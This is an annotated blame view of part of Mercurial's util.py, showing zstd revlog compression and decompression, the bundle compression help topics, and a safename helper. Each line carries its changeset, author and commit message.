31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3753
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3754 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3755 insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3756 # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3757 assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3758
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3759 if insize < 50:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3760 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3761
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3762 elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3763 compressed = self._cctx.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3764 if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3765 return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3766 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3767 else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3768 z = self._cctx.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3769 chunks = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3770 pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3771 while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3772 pos2 = pos + self._compinsize
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3773 chunk = z.compress(data[pos:pos2])
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3774 if chunk:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3775 chunks.append(chunk)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3776 pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3777 chunks.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3778
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3779 if sum(map(len, chunks)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3780 return ''.join(chunks)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3781 return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3782
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3783 def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3784 insize = len(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3785
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3786 try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3787 # This was measured to be faster than other streaming
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3788 # decompressors.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3789 dobj = self._dctx.decompressobj()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3790 chunks = []
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3791 pos = 0
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3792 while pos < insize:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3793 pos2 = pos + self._decompinsize
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3794 chunk = dobj.decompress(data[pos:pos2])
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3795 if chunk:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3796 chunks.append(chunk)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3797 pos = pos2
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3798 # Frame should be exhausted, so no finish() API.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3799
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3800 return ''.join(chunks)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3801 except Exception as e:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3802 raise error.RevlogError(_('revlog decompress error: %s') %
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3803 str(e))
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3804
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3805 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3806 opts = opts or {}
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3807 return self.zstdrevlogcompressor(self._module,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3808 level=opts.get('level', 3))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3809
30451
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3810 compengines.register(_zstdengine())
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30447
diff changeset
3811
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3812 def bundlecompressiontopics():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3813 """Obtains a list of available bundle compressions for use in help."""
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3814 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3815 items = {}
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3816
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3817 # We need to format the docstring. So use a dummy object/type to hold it
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3818 # rather than mutating the original.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3819 class docobject(object):
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3820 pass
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3821
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3822 for name in compengines:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3823 engine = compengines[name]
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3824
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3825 if not engine.available():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3826 continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3827
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3828 bt = engine.bundletype()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3829 if not bt or not bt[0]:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3830 continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3831
31811
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents: 31795
diff changeset
3832 doc = pycompat.sysstr('``%s``\n %s') % (
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents: 31795
diff changeset
3833 bt[0], engine.bundletype.__doc__)
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3834
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3835 value = docobject()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3836 value.__doc__ = doc
33839
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33820
diff changeset
3837 value._origdoc = engine.bundletype.__doc__
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33820
diff changeset
3838 value._origfunc = engine.bundletype
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3839
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3840 items[bt[0]] = value
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3841
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3842 return items
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3843
33841
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33839
diff changeset
3844 i18nfunctions = bundlecompressiontopics().values()
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33839
diff changeset
3845
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3846 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
3847 dst = debugstacktrace
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3848
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3849 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3850 """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3851 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3852
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3853 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3854 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3855 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3856 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3857
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3858 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3859 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3860 """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3861 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3862 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3863
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3864 fn = '%s~%s' % (f, tag)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3865 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3866 return fn
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3867 for n in itertools.count(1):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3868 fn = '%s~%s~%s' % (f, tag, n)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3869 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34468
diff changeset
3870 return fn